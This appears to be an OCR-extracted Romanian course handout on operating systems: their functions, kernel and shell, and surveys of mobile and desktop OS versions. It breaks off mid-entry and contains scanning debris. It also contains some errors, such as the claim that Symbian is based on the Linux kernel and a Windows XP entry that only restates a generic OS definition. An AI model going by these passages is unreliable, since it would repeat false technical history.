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1. Introducere in Sistemele de Operare. Functiile unui SO.

Clasificarea tipurilor de SO.

Obiective:

1. Descrierea sistemelor de operare si impoetanta acestora;

2. Relatarea despre criteriile de clasificare a sistemelor de operare (SO);

3. Distingerea tipurilor de sisteme de operare:
a) Pentru telefoane mobile: windows phone, iOS, android, symbian, etc.
b) Pentru calculatoare: Windows OS, Mac OS, Unix/Linux OS.

Un program consta dintr-o succesiune de instructiuni care converg catre solutia problemei ce se
rezolva. Orice sistem de calcul (computer system) pentru a realiza functiile sale de baza trebuie
sd execute urmatoarele operatii:

+¢ introducere date (citire) - |
¢ memorare date si instructiuni (reprezentare) - M

*

¢ prelucrare date si instructiuni (procesare) - P

L)

% iesire date (scriere) - O

L)

Exista doua categorii de programe:

% programe de sistem, ce coordoneaza modul in care lucreaza componentele sistemului si ofera
asistenta la dezvoltarea programelor de aplicatii;

s programe de aplicatii, care sunt destinate sa rezolve probleme specifice unei aplicatii.

1.1 Destinatia SO.

Un sistem de operare, prescurtat SO (engleza Operating system, prescurtat OS), reprezinta un
produs de tip software care este parte componentd a unui sistem, echipament sau aparat
computerizat, si care se ocupa de gestionarea si coordonarea activitatilor acestuia.

Sistemul computerizat poate fi un computer, o statie de lucru (workstation), un server, un PC,
un notebook, un netbook, un smartphone, un aparat de navigatie rutiera, un e-book reader sau
unele aparate de uz casnic, precum si playerele multimedia. Sistemul de operare joaca si rolul de
gazda pentru aplicatiile care ruleaza pe echipamentul (hardwareul) respectiv.

Definitie: Un sistem de operare consta dintr-un ansamblu de proceduri manuale si module de
programe de sistem, care administreaza resursele sistemului de calcul, asigura utilizarea eficienta
in comun a acestor resurse si ofera utilizatorului o interfatd cat mai comoda pentru utilizarea
sistemului de calcul.

Descrierea functiilor unui sistem de operare
Pentru a indeplini rolul de interfatd intre hardware si utilizatori, un sistem de operare trebuie
sa fie capabil sa indeplineasca urmatoarele functii:

1. Oferirea posibilitatii de pregatire si lansare in executie a programelor de aplicatie.

2. Alocarea resurselor necesare executarii programelor, realizatd prin identificarea
programelor, a necesarului de memorie, a dispozitivelor periferice si a cerintelor privind
protectia datelor.

3. Facilitati puse la dispozitia utilizatorului pentru compresia datelor, sortarea, interclasarea,
catalogarea si intretinerea bibliotecilor prin programele utilizator disponibile.

4. Planificarea executiei lucrarilor dupa anumite criterii (timp de executie, prioritati etc.),
pentru executarea eficienta a unitatii centrale de prelucrare.



5. Coordonarea executiei mai multor programe, prin urmdrirea modului de executie a
instructiunilor programului, depistarea si tratarea erorilor, lansarea 1n executie a
operatiilor de intrare/iesire.

6. Asistarea execufiei programelor de catre utilizator, prin comunicatia sistem de calcul —
utilizator, atat la nivel hardware, cat si la nivel software.

Functiile unui sistem de operare sunt:

Sa asigure comunicarea Intre utilizator si S.O.;

Sa asigure controlul executiei programelor;

Sa asigure alocarea eficienta a resurselor fizice ale sistemului;
Sa faciliteze utilizatorilor dezvoltarea de noi aplicatii;

Sa faciliteze gestionarea eficienta a datelor;

Sa asigure securitatea sistemului.

oouhkwdE

Componentele sistemului de operare
Majoritatea sistemelor de operare, pentru a raspunde rolului de interfata hardware —

utilizatorii, sunt organizare pe doua niveluri:

¢+ nivelul fizic, care este mai apropiat pe partea hardware a sistemului de calcul, interferand cu
aceasta prin intermediul unui sistem de interuperi.

+ nivelul logic, care este mai apropiat de utilizator, interferand cu acesta prin intermediul unor
comenzi, limbaje de programare, utilitare, etc.

Potrivit acestor doua niveluri, sistemele de operare cuprind in principal doua categorii de
programe:

% programe de control si comandd, cu rolul de coordonare si control a tuturor functiilor
sistemelor de operare, cum ar fi: procese de intrare-iesire, executia intreruperilor,
comunicatia hardware-utilizator;

% programe de servicii (prelucrari), care sunt executate sub supravegherea programelor de
comanda si control, fiind utilizate de programator pentru dezvoltarea programelor sale de
aplicatie.

Dezvoltari ale sistemelor de operare

Primele sisteme de operare realizau prelucrarea pe loturi de programe. Comunicarea
operatiilor ce urmau sa se realizeze se facea prin intermediul unui limbaj de comanda care
permitea interpretarea instructiunilor adresate sistemului, precum si tratarea situatiilor de eroare.
Sistemele de acest tip functionau in regim de mono-programare.

CPU (unitatea centrala de prelucrare) poate executa numai o instructiune intr-o anumita
cuanta de timp si nu poate opera decit cu date ce se gasesc in memoria interna; daca dispozitivele
periferice de intrare sunt lente in furnizarea datelor sau programelor catre memoria interna, CPU
trebuie sa astepte transferul datelor/programelor in memoria internd de a incepe executia
programului. Daca sistemul de calcul dispune de un sistem de operare simplu, atunci prelucrarea
mai multor programe se realizeaza serial, ceea ce conduce la o ineficienta utilizare a CPU.

Componentele unui sistem de operare sunt:
% Nucleul (Kernel) — contine programele necesare pentru gestionarea resurselor calculatorului
si pentru controlarea activitatii echipamentelor si programelor;

Nucleul unui sistem de operare este componenta fundamentalda a acestui sistem. Nucleul
controleaza accesul la diferitele resurse ale calculatorului si permite celorlalte componente —
hardware si software — sd interopereze. Nucleul oferd mecanisme de abstractizare a resurselor
hardware (materiale), in special in ceea ce priveste memoria, microprocesoarelor, si transferurile
de informatie Intre programe si perifericele materiale. Nucleul autorizeaza de asemenea si alte
abstractiuni software si faciliteazd comunicatiile inter-proces. Nucleul unui sistem de operare



este el Insusi un program, dar nu poate utiliza mecanismele de abstractizare pe care le ofera
celorlalte programe utilizator. Diferite motive justificd aceastd limitare. Printre alte cauze,
gestiunea intreruperilor, a spatiului de adresd a memoriei virtuale. Rolul sau central ii impune
exigente de performanta ridicate. Aceasta face din nucleu partea cea mai critica a unui sistem de
operare si face ca si conceperea si implementarea sa sa fie cat se poate de delicata.

¢ Interfata (Shell) — defineste modul in care utilizatorul interactioneaza cu S.O.

Cuvintul shell inseamna in limba engleza scoicd sau carapace. Asta este si programul care se
numeste shell pentru sistemul de operare: un invelis care imbraca sistemul, primul lucru pe care
il vedem dintr-un sistem de operare, si pe care trebuie sd-1 dam la o parte pentru a zari
maruntaiele molustei.

Observatie:

+ Un nucleu de sistem de operare este o bibliotecd de functii, care pune la dispozitia
utilizatorului o serie de operatii, numite "apeluri de sistem". Shell-ul este un simplu program
care foloseste aceste operatii pentru a oferi o prima interfata cu utilizatorul.

¢+ Pentru nucleu, shell-ul este un proces ca toate celelalte, care se executa fara nici un fel de
privilegii si care ocazional face cite un apel de sistem.

¢+ Shell-urile citesc comenzi de la utilizator, pe care apoi le "interpreteaza” si le transforma intr-
o serie de apeluri de sistem, care in general culmineazd cu executarea unuia sau mai multor
fisiere.

1.2 Tipuri de SO pentru telefoanele mobile si tablete.

Other: 0.02 % ~

Symbian: 1.01%
BlackBerry: 1.09 %
JavaME: 154% <~
Windows Phone: 1.95 % / 3
i0S:25.78 % ~

\'\ . -~
~ Android: 68.54 %

Un sistem de operare mobil, cunoscut si ca platforma de mobil, sau smartphone, este sistemul
de operare care controleaza un dispozitiv mobil. Sistemul de operare mobil este in principiu
similar cu sistemele de operare Linux sau Windows, ce controleaza desktop-ul unui computer.
Sistemele de operare mobile au devenit extrem de populare in prezent, iar majoritatea lor se
bazeazd pe Linux.

Aceste sisteme de operare au aparut odata cu evolutia procesoarelor si memoriilor RAM care
au permis tot mai multe procese si multitasking. Performanta sistemelor de operare mobile
depinde atat de kernel cat si de optimizarea lor. In timp ce unele sisteme ruleazi foarte bine cu
doar 256 MB de RAM si procesor mic de doar 1 GHz, altele necesitd un minim de 512 MB de
RAM si procesor mai nou (cel putin dual core).
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Principalele sisteme de operare mobile Android, i0OS, Windows Phone si Blackberry OS,

reprezentau aproape Intraga cota de piatd in anul 2014.

% Android este cel mai popular sistem de operare mobil. Acest sistem de operare a fost sub
licenta Apache, iar din 21 octombrie 2008, Google a deschis intregul cod sursa fiind
disponibil ca Open Source.

% 10S este bazat pe Unix, disponibil pe produse Apple: Iphone, iPad, iPod si Apple TV

* Windows Phone dezvoltat de Microsoft, succesorul Windows Mobile.

< BlackBerry OS sistem de operare proprietar ce ruleaza pe smartphon-urile din
gama BlackBerry. A fost dezvoltat de compania canadiana Research In Motion (RIM), acum
cunoscut sub numele de Blackberry.

Tipuri de sisteme de operare
In principal, in cazul calculatoarelor personale exista doua tipuri de sisteme de operare:

1. monotasking, care executa un singur program la un moment dat, realizand doua functii

de baza:
» incarcarea si executia programelor;
» asigurarea unor interferente cu dispozitivele periferice.

2. multitasking, la care nucleul sistemului de operare trebuie sa asigure suplimentar
partajarea tipului intre programele ce se executa si gestiunea alocarii resurselor
sistemului; componenetele principale incluse:

supervizorul, care lanseaza, opreste sau suspenda alocarile;

planificatorul, care regleaza timpul de executie pentru operatiile in curs de executie;
alocatorul de resurse, care evidentiaza resursele libere sau alocate;

modulul de gestiune pentru intrari/iesiri, care asigura dialogul cu perifericele.

YV VY

Principalele tipuri de SO existente pe dispozitivele mobile (tablete):

- Android (Google) - MS Windows Phone 10 - Firefox OS

- i0S (Apple) - Symbian - Sailfish OS

- MS Windows Phone 8.1 - Tizen OS - BlackBerry OS

Scurta descriere a unor SO existente pe dispozitivele mobile si tablete:

Denumirea Descrierea

Android Android este o0 platforma software si un sistem de

operare pentru dispozitive si telefoane mobile bazatd pe nucleul
Linux, dezvoltata initial de compania Google, iar mai tarziu de
consortiul comercial Open Handset Alliance. Android permite
dezvoltatorilor sa scrie cod gestionat in limbajul Java, controland
dispozitivul prin intermediul bibliotecilor Java dezvoltate de
Google. Aplicatiile scrise in C si in alte limbaje pot fi compilate
in cod masina ARM si executate, dar acest model de dezvoltare nu
este sprijinit oficial de catre Google. Lansarea platformei Android
la 5 noiembrie 2007 a fost anuntata prin fondarea Open Handset
Alliance, un consortiu de 48 de companii de hardware, software si
de telecomunicatii, consacrat dezvoltarii de standarde deschise
pentru dispozitive mobile. Google a lansat cea mai mare parte a
codului Android sub licenta Apache, o licenta de tip free-
software si open source.

iI0S 10S este un sistem de operare de tip Unix, care inca in prima sa
versiune a continut multe elemente din Mac OS X, tot un sistem de
operare de tip Unix de la Apple. Versiunea actuala (13 septembrie
2016 ) este i0S 10. Ca noutate, ofera , de exemplu o actualizare
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pentru iMessage in care pot fi trimise stickere, care sunt disponibile
pe App Store. Functionalitatea iOS poate fi intregita de catre
utilizator prin procurarea de aplicatii suplimentare specializate
numite apps in pravalia onling "App Store" a lui Apple. In mai 2011
stateau la dispozitie acolo cca 350.000 de aplicatii, din care unele
sunt chiar gratuite. Sunt foarte multe aplicatii si in App Store, peste
700.000. Undeva peste 300.000 sunt optimizate pentru iPad, unele
cu retina display. De vreo doud ori mai restrans ca market share fata
de Android. Se apreciaza pentru simplitate, securitate si faptul ca
update-urile software vin rapid, pe placul celor care nu doresc o
evolutie rapida de la o versiune a sistemului de operare la alta.
Aplicatiile si jocurile beneficiaza de puterea de procesare oferita de
CPU + GPU, multe jocuri ruleaza mult mai bine decat versiunile
similare pe telefoane Android de top. Desigur insa ca majoritatea
aplicatiilor ofera o utilitate reala. Din motive de politicd a
produsului, i0S nu sprijina aplicatia multimediala Flash a
companiei americane Adobe. Esti restrictionat la telefoanele Apple
si nu ai multitudinea de configuratii hardware de la sistemul de
operare mobil al Google. Prin functionalitatea sa 10S este unul din
factorii de succes primordiali al telefoanelor iPhone pe piata
mondiald. Un concurent al lui i0S este sistemul de

operare Android de la compania Google si Windows Phone, un
sistem de operare dezvoltat de catre Microsoft.

Windows Phone 8/ 8.1

Microsoft a prezentat Windows Phone 8 pe 29 octombrie 2012 (cu
numele de cod Apollo). Este a doua generatie a sistemului de
operare Windows Phone care inlocuieste Windows Phone 7.
Inlocuieste arhitectura anterioara bazati pe Windows CE cu un
kernel bazat pe Windows NT. Microsoft a confirmat ca toate
telefoanele care ruleaza in prezent Windows Phone 8.0 utilizatorii
pot face upgrade la Windows Phone 8.1, atunci cand se lanseaza.

Sprijind procesoarele multi-core pana la cele cu 64 de nuclee,
rezolutiile de 1280 x 720 (720p) sau 1280 x 768 (WXGA) fata de
Windows Phone 7 care suporta nativ dar rezolutia de 800 x 480
(WVGA). Windows Phone 8 este primul sistem de operare mobil
de la Microsoft pentru a utiliza Windows NT kernel-ului, care este
acelasi nucleu care ruleaza Windows 8. Sistemul de operare se
adauga sistemul de fisiere imbunatatit, drivere, stive de retea,
componente de securitate, suport mass-media si motor grafic
(DirectX).[3] Dispune de tehnologia NFC pentru etichete si plati,
precum si un suport pentru carduri SD dincolo de expansiune
initiald brut.

Internet Explorer 10 in Windows Phone 8 are acelasi motor care
se gaseste in IE pentru Windows 8. Cele mai multe dintre
imbunatatirile sunt eficientd mai mare, timpul de randare mai rapid,
accelerare graficd hardware si suport pentru HTMLS5 mai bun ca
Internet Explorer 9.[4] Sustine filtrarea linkurilor spam
(SmartScreen), "find on page", Do Not Track si partajarea prin
NFC. Microsoft inclus o caracteristica pentru IE 10 care reduce
utilizarea datelor - folosind un serviciu de proxy bazat pe cloud
pentru limitarea datelor utilizate si pentru comprimarea traficului
web. Windows Phone 8 permite integrarea Skype in sistemul de
operare al telefonului, in plus fatd de orice alte aplicatii parti terte
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VOIP. Dezvoltatorii au game noi de API-uri care le permit sa "plug
in", pentru a Windows Phone 8 VoIP mentinand in acelasi timp
aplicarea sistemului si stabilitatea sistemului. Wallet combinad doud
functii populare sprijin pentru tranzactii in plus fata de un manager
de cont pentru cardurile de credit, reclamele (pliantele) si a altor
date cu caracter personal.Cu integrarea Near Field Communication
(NFC) care permite functionalitatea de plata pe telefon, utilizatorii
pot face plata pentru bunuri si servicii cu telefoanele lor prin
atingerea telefoanelor in cititoarele de carduri de NFC.

Symbian

Symbian OS este un sistem de operare destinat telefoanelor
mobile, bazat pe nucleul Linux, produs de Symbian LTD. Este
descendent a Psion EPOC si ruleaza exclusiv pe

procesoarele ARM. Symbian a fost primul sistem de operare
mobil, si care a utilizat aceasi interfatd pentru mai multi ani. Acest
sistem de operare a fost realizat prin colaborarea mai multor
companii printre care: Nokia, Ericsson, Motorola si Psion.

In 2015 Symbian este detinut de Ericsson (15.6%), Nokia
(47.9%), Panasonic (10.5%), Samsung (4.5%), Siemens

AG (8.4%), si Sony Ericsson (13.1%).

Symbian a fost parasit, desi se afla in ograda companiei. Ultimul
smartphone cu Symbian ramane Nokia 808 PureView. Erau peste
100.000 de aplicatii in Nokia Store. Pacat ca Nokia nu a fost in
stare sa-si adapteze software-ul la cerintele pietei. Ar fi fost mai
interesant sd vedem o lupta echilibrata pe sisteme de operare mobile
si nu doar un duel de la distanta Intre Android si 10S.

Tizen OS

Tizen este o platforma software de tipul “open source” aparuta in
anul 2011 sub egida Linux Foundation. Dezvoltarea Tizen este
supravegheata si indrumata de Intel s1 Samsung, doi producatori de
microprocesoare, respectiv smartphone si tablete, cu interese directe
in lansarea unei astfel de platforme. Tizen este un sistem de
operare bazat pe nucleul Linux si este destinat pentru dispozitivele
de tip smartphone, tableta, smart TV, netbook, precum si pentru
sistemele audio-video ce echipeaza autovehiculele moderne.

Tizen este un sistem de operare mult mai flexibil decat Android
(dezvoltat si el tot pe nucleu Linux), fiind probabil cel mai
inteligent sistem de operare mobil care are mari sanse sa detroneze
Android-ul. De fapt, este chiar singurul sistem de operare care
promite mai mult decat poate sd faca Android. Acest sistem de
operare va apdrea chiar si pe electrocasnice printre care si frigidere,
astfel Tizen poate cuceri piata foarte usor. Dezvoltat de Intel si
Samsung (in principal) Tizen poate rula aplicatii de Android fiind
conceput tot pe platforma Linux. Samsung va prezenta la CES 2014
noul sdu frigider cu sistem de operare Tizen. Impresionant este ca
frigiderul va avea doar 256 MB de RAM, ceea ce arata cd acest
sistem de operare va cere foarte putine resurse pentru a functiona,
deci este foarte bine optimizat.

Versiunile curente ale Android nu permit anumite abordari
tehnice 1n arhitectura hardware, lucru ce ingradeste producatorii in
a implementa diverse functii sau concepte in produsele lor.
Impresionant nu este doar consumul redus de resurse, ci si interfata
grafica. Tizen este un sistem de operare bine finisat i optimizat,
avand mari sanse s ajunga in top.
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Firefox OS

Firefox OS (numele proiectului Boot to Gecko, cunoscut si ca B2G)
este un sistem de operare cu sursa deschisa bazat pe Linux

pentru smartphone-uri si tablete. Este dezvoltat de catre Mozilla,
organizatia nonprofit cel mai bine cunoscuta pentru navigatorul
Firefox. Firefox OS este proiectat sa ofere un sistem alternativ
,,complet” bazat pe comunitate destinat dispozitivelor mobile,
folosind standarde web si continand aplicatii HTML5, JavaScript,
un model de privilegii robust, API-uri web deschise pentru a
comunica direct cu hardware-ul telefonului, si un magazin de
aplicatii. Ca atare, concureaza cu Sisteme proprietare precum iOS-
ul celor de la Apple, Android-ul celor de la Google si Windows
Phone-ul celor de la Microsoft, precum si alte viitoare sisteme de
operare cu sursa deschisa in dezvoltare ca Ubuntu Touch. Firefox
OS a fost demonstrat public in februarie 2012, pe smartphone-

uri Android si din nou in 2013 ruland pe un dispozitiv Raspberry
Pi. In ianuarie 2013 la CES 2013, ZTE a confirmat lansarea

unui smartphone cu Firefox OS, iar in data de 2 iulie

2013, Telefonica a lansat in Spania primul telefon comercial bazat
pe Firefox OS, ZTE Open care a fost rapid urmat de smartphone-ul
Peak+ al celor de la Geeksphone.

Un Linux cu Firefox pus peste el ce permite rularea oricarei
aplicatii redactatd Tn HTMLS. Simplu si eficient sau cel putin asa 1si
doreste Mozilla. Au sprijinul unor operatori de telefonie de prin
America Latind cat si al unor producatori hardware.

Sailfish OS

Sailfish OS este cel mai nou sistem de operare aparut pe piata
(2014) ruland pe device-ul Jolla. Acest sistem de operare este 0
continuare a lui MeeGo, insa ofera o interfata grafica complet noua
si inovatoare. Jolla este numit chiar cel mai frumos smartphone,
tinand cont si de sistemul sau de operare. Cel mai mare atuu pe care
il are Sailfish OS este posibilitatea ruldrii aplicatiilor Android,
astfel noul sistem de operare intra pe piata cu o functionalitatea
reald. Isi doresc sd integreze atuurile interfetei bazati pe swipe de la
MeeGo, ataca segmentul de top.

BlackBerry OS

BlackBerry OS este un sistem de operare dezvoltat de compania
RIM (Research in Motion), special pentru telefoane inteligente
BlackBerry. Primul sistem de operare a fost dezvaluit si lansat in
anul 1999. Ofera multitasking si suporta dispozitive specializate de
intrare care au fost adoptate de catre RIM pentru a fi utilizate in
dispozitive portabile a companiei (trackwheel, trackball, trackpad si
touchscreen). Platforma BlackBerry mai mult este cunoscut de
sprijinul sau nativ pentru e-mail-uri corporative, dar pe langa asta
permite activare §i sincronizare completad prin wireless cu Microsoft
Exchange, Lotus Domino (software de colaborare), Novel
GroupWise email, calendar, afacere, notite si date de contact.
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1.3 Tipuri de SO pentru calculatoare. Distributii Windows OS, Mac OS si

Unix/Linux OS.
Other: 5 3'-
MacOS X 10.10: 2.33 %
Vindows 8:2.68 % -
MacOS X 10.11:3.44 %
Windows 8.1: 10.4 ¢
— Windows 7:52.47 %
Windows XP: 11.42 % —
Windows 10: 11.85 %

Scurta descriere a unor SO de la MICROSOFT existente pe PC-uri:

Denumirea Descrierea
MS-DOS Dezvoltarea micro-calculatoarelor DOS a inceput in anul 1978, cind
(MicroSoft-Disk INTEL CORPORATION a lansat microprocesorul i8088, urmat la
Operating System) scurt timp de 18086, care au putut utiliza mai multa memorie interna
si au adus si alte Intrebuintari seriei de microprocesoare i8080.
0S/2 In 1988, IBM si Microsoft au introdus OS/2, care a fost proiectat sa
(Operating System/2) preia avantajele microprocesoarelor Intel 80386 pentru seria de
microcalculatoare IBM PS/2 pe 32 de biti
Windows 3.1 Este o interfata grafica orientata pe ferestre, care se instaleaza pe un
sistem de calcul ce lucreaza sub MS-DOS, permitand utilizatorului
lansarea concomitenta a mai multor aplicatii, fiecare in fereastra ei,
precum si schimbul de informatii intre acestea.
Windows NT Este un sistem de operare foarte complex proiectat de Microsoft si

(NT — New Technology)

al carui principal avantaj il constituie posibilitatea implementarii lui
atat pe PC-uri cu microprocesoare Intel, cat si pe PC-uri cu
microprocesoare RISC.

Windows 95 Un sistem de operare ce Inglobeaza o serie de facilitati noi, aldturi
de cele regasite la versiunile precedente.
Windows 98 Este un mediu complet integrat cu Internetul, constituindu-se ca un

suport pentru noile tehnologii hardware si pastrand compatibilitatea
cu Windows 95, fata de care apare ca o extindere (upgrade).

Windows 2000

Este ceva nou de la care se asteapta o compatibilizare a
platformelor Windows si performante superioare.

Windows XP

Sistemul de operare reprezinta un ansamblu de programe care
asigura utilizarea eficienta a resurselor fizice si logice ale unui SEC
prin pregatirea, punerea In lucru i coordonarea executiei
programelor utilizatorului. EIl are menirea, pe de o parte, de a crea
un mediu in care utilizatorul sa poata executa cu mai multd usurinta
si pe de altaparte, sa asigure exploatarea optima a hardware-ului.
Sistemul de operare este un pachet de programe care asigura
gestionarea eficienta a resurselor fizice si logice ale unui sistem de
calcul precum si o interfata intre utilizator si calculator.

Windows Vista

Windows Vista a fost lansat in noiembrie 2006 pentru firme si
parteneri de afaceri iar in ianuarie 2007 a fost lansat pentru
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utlizatorii obisnuiti. Aceasta lansare vine dupd mai mult de cinci ani
de la aparitia pe piatd a sistemului de operare Windows XP, fiind
cea mai mare distantd intre doua lansari succesive. Windows Vista
a fost primul sistem de operare care a continut widget-uri. De la el a
inceput modul "Aero™ in care ferestrele erau transparente astfel
continuat la Windows 7 si terminat la Windows 8. Astfel, din 2016
cei de la Microsoft au considerat acest sistem de operare drept
Windows care nu e original, vor continua sa facd design la
Windows 8.1 si Windows 10 iar Windows Vista va iesi din faza de
suport extins la primavara lui 2017. Din 2017, Microsoft nu va
publica actualizari de securitate lunare pentru Windows Vista.

Windows 7

In comparatie cu predecesorul sau Vista, Windows 7 se doreste a fi
0 actualizare a lui, cu scopul de a fi pe deplin compatibil cu
driverele, aplicatiile si echipamentul cu care acesta a fost deja
compatibil. Prezentarile oferite de companie in 2008 s-au axat pe
suport de ecrane multi-touch, un Windows Shell reconceput cu o
noud bara de activitdti, o grupa de retele de sistem numit
,2HomeGroup” , precum si pe Imbunatatiri de performantd. Unele
aplicatii care au fost impachetate impreuna cu versiunile anterioare
de Microsoft Windows, mai ales Windows Movie Maker si
Windows Photo Gallery, nu mai sunt puse acum in acelasi pachet
software (package) cu Windows 7, ci sunt oferite separat (dar
gratuit), ca parte din Windows Live Essentials Suite.

Windows 8

In ianuarie 2011 Steve Ballmer, presedintele companiei Microsoft,
a prezentat la expozitia anuala Consumer Electronics Show (CES
2011) din Las Vegas pe urmasul lui Windows 7. Acesta se numeste
(in prezent) Windows 8 si a aparut pe piata in 2012. Windows 8
extinde suportul pentru o plaja mai largd de dispozitive, incluzand,
dar nelimitandu-se la computere desktop, computere portabile si
tablete, editiile ce se pot executa pe aceste dispozitive depinzand de
arhitectura procesorului sistemului: x86 - x64 sau ARM.

Windows 8.1

Windows 8.1 este un sistem de operare creat de Microsoft, care este
de fapt un upgrade pentru Windows 8, o versiune de Windows NT.
Prezentat initial si lansat ca o versiune beta publica in iunie 2013, a
fost lansat de fabricatie pe 27 august 2013, si a ajuns la
disponibilitatea generala pe 17 octombrie 2013, la aproape an de la
lansarea cu amanuntul de predecesorul sau. Windows 8.1 a fost
destinat in primul rand pentru a aborda plangeri ale Windows 8
utilizatori si comentatorii pe lansare. Imbunatitirile vizibile includ
un ecran Imbunatatit Start, opinii suplimentare anticipate, aplicatii
suplimentare incluse, mai stricte OneDrive (fostd SkyDrive)
integrare, Internet Explorer 11, un sistem de Bing-alimentat de
cautare unificat, restaurarea unui buton vizibil Start pe bara de
activitati, precum si capacitatea de a restabili comportamentul
anterior deschiderii desktop-ul utilizatorului privind conectare in
loc de ecranul de pornire. Windows 8.1 a adaugat de asemenea
suport pentru astfel de tehnologii emergente precum ecrane de
inalta rezolutie, de imprimare 3D, Wi-Fi Direct, si Miracast de
streaming.

Windows 10

Windows 10 a introdus aplicatiile universale, extinzand aplicatiile
Metro, acestea fiind proiectate sa ruleze pe mai multe dispozitive
din familia Microsoft, cu un cod aproape identic, incluzand
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computere personale, tablete, smartphone-uri, sisteme inglobate,
Xbox One, Surface Hub si Windows Holographic. Interfata
Windows a fost revizuitd pentru a usura tranzitia dintre o interfata
adaptata pentru mouse si o interfatd adaptata pentru touchscreen,
bazate pe dispozitivele de intrare disponibile — in special la PC-
urile 2-in-1; ambele interfete includ meniul Start ce incorporeaza
elemente ale meniului Start din Windows 7 si Windows 8. Prima
versiune de Windows 10 a mai introdus o caracteristica pentru a
administra ferestrele si desktop-urile virtuale numita Task View,
browser-ul Microsoft Edge, suport pentru autentificarea cu
amprentd sau prin recunoasterea faciala, noi caracteristici de
securitate pentru sistemele enterprise, si DirectX 12 si WDDM 2.0,
acestea Tmbunatatind capabilitatile de grafica ale sistemului de
operare pentru jocuri.

Scurta descriere a unor SO de la APPLE existente pe PC-uri:

Denumirea Descrierea
Apple DOS Este un sistem de operare monoutilizator, monotasking; un SO mai
performant este MaclIntosh (Mac OS X)
Mac OS X v10.0 Sistemul de operare a fost anuntat pe 9 ianuarie 2001 si lansat pe 24
Cheetah martie 2001. Are o interfatd noua de utilizator numita Aqua care la

acea vreme a prezentat un upgrade vizual pentru utilizatorii
sistemului de operare Mac OS 9. Browser-ul web a fost Internet
Explorer, Sherlock a gestionat cautarea, iTunes si iMovie au fost
transferate din OS 9.

Mac OS X v10.1
Puma

Pe 25 septembrie 2001 a fost lansat Mac OS X v10.1 (nume de cod
intern Puma). Caracteristicile sunt Driverele OpenGL efectucaza
20% este cu rapid fata de Mac OS X v10.0, suport imbunatatit
AppleScript, suporta peste 200 de imprimante.Suporta aparatele de
fotografiat digitale, compatibilitatea cu retelele Windows si noi
instrumente Finder.

Permite conectarea la serverele de fisiere Mac peste TCP, la
Servere AppleTalk, servere WebDAYV si la servere de fisiere
Windows. Browserele pot utiliza Java cu suport imbunatatit pentru
Java Applet Runner.

Mac OS X v10.2
Jaguar

Mac OS X 10.2 are numele de cod "Jaguar". Are un set mai larga
de instrumente de linie de comanda pentru gestionarea serverelor de
fisiere SMB (Windows). Kernel-ului sprijina IPv6 si IPSec. A fost
inclus Common Unix Printing System (CUPS).Mac OS X 10.2 a
trecut de la o compilatorul C++ la gcc versiunea 3.1. Alte
caracteristici sunt partajarea de fisiere Windows si partajarea de
imprimante USB.Rendezvous este un standard deschis care pune in
aplicare tehnologiile propuse de Networking Zero Configuration
(zeroconf) al grupului de lucru Internet Engineering Task Force
(IETF).Recunoaste retelele fara fir 802.11b. Pentru mediul de
afaceri vine cu interoperabilitatea Active Directory si cu PPTP
bazat pe VPN care permite utilizatorilor Mac sa se conecteze de la
distanta la retelele corporative Windows.

Mac OS X v10.3
Panther

A fost lansat pe 24 octombrie 2003 cu numele de cod "Panther".
Noile caracteristici includ Comutarea rapida intre utilizatori,
Exposé, File Vault si iChat AV care suporta voce si video pentru
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conferinte cu clientul de mesagerie lui Mac. TextEdit a fost
actualizat pentru a sprijini documente Microsoft Word. Cerinte
minime hardware sunt procesor G3 tactat la 233 MHz, port USB
built-in, spatiu disponibil pe hard disk de 1,5 GB si 128 MB de
RAM. Ultima versiune 10.3.9 a fost lansat pe data 15 aprilie
2005.Prevede urmatoarele imbunatatiri: partajarea de fisiere si
servicii de director pentru fiabilitatea mixta intre retele Mac si PC,
E-mail, Safari si aplicarea fiabilitatea Stickies, compatibilitate
pentru aplicatii terte parti si dispozitive.

Mac OS X v10.4
Tiger

Mac OS X 10.4 cu numele de cod "Tiger" care a fost lansat pe 29
aprilie 2005. Cerintele in mod oficial sunt Mac G3 sau mai nou cu
port FireWire, 256 MB de RAM si 3 GB de spatiu disponibil pe
hard disk.A fost cea mai lunga durata versiune de OS X pana in
prezent cu 30 de luni pe piatd. Versiunea 10.4.4 a fost lansat in
ianuarie 2006 si este prima versiune care suporta cu procesoarele
Intel bazate pe Mac. Dupa v 10.4 au existat versiuni separate pentru
platformele PowerPC si Intel.

Mac OS X v10.5
Leopard

Mac OS X v10.5 "Leopard" a fost lansat pe 26 octombrie 2007 si
are peste 300 de caracteristici noi. Time Machine avertizeaza
inainte de a sterge backup vechi. Ofera capacitatea de a restaura
fisiere si foldere individuale si se poate utiliza pentru a restaura
computerul dupa un accident grav sau esec hard disk.Time Machine
poate face copii de rezerva automate ale fisierelor de Mac la un
hard disk separat intern sau extern sau la un volum de retea de catre
un alt calculator Mac care ruleaza Leopard. Spotlight ofera
posibilitatea cautarii online si suporta operatorii booleeni AND,
OR, si NOT. Quick Look functioneaza cu o varietate mare de tipuri
de documente, inclusiv imagini, filme, fisiere PDF, documente
Microsoft Office, dar nu permite editarea numai vizualizarea
documentelor.Core Animation este o alta tehnologiile din Quartz
care include Core Video (bibliotecile Apple de procesare video), iar
Core Graphics (motorul de randare al OSX). Animatie permite
crearea de catre dezvoltatorii de interfete cu aspect este oprit GPU-
ul pentru redare. TextEdit ofera suport pentru Word 2007 si Open
Document Formats pentru citire si scriere.

Mac OS X v10.6
Snow Leopard

Aproape tot ceea ce foloseste o tehnologie noua aproape de-la-
Grand-hardware-ul numit Dispeceratul central (GCD), care
impartdseste sarcinilor intre mai multe nuclee de procesoare
moderne Intel si dezvoltatorii elibereaza de sarcini software de
divizare in diferite "fire".OpenCL permite dezvoltatorilor de
software sa atingeti in puterea cardurilor video onboard sau GPU
pentru uz general de calcul, fara adaos de cantitdti enorme de cod.
Aproape toate aplicatiile din Snow Leopard sunt acum scrise in 64-
biti pentru o viteza mai mare de acces si de memorie mai mare
comparativ cu cele pe 32-biti. Ofera Objective-C 2.0 imbunatatit In
Leopard a fost inclus numai pe 64 biti. Mail adaugd suport pentru
Microsoft Exchange Server 2007, iCal, si Address Book este
licentiat Microsoft ActiveSync protocol si aduce imbunatatiri
suplimentare. Toate aplicatiile care ruleaza sub Snow Leopard
stabilesc toatda memoria inscriptibila ca non-executabil. Snow
Leopard scaneaza fisierele descarcate prin intermediul Safari, Mail,
iChat cu malware-urile cunoscute.
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Mac OS X v10.7
Lion

Mac OS X 10.7 a fost prezentat pentru prima data publicului in
octombrie 2010. Are numele de cod "Lion" si fost lansat pe 20 iulie
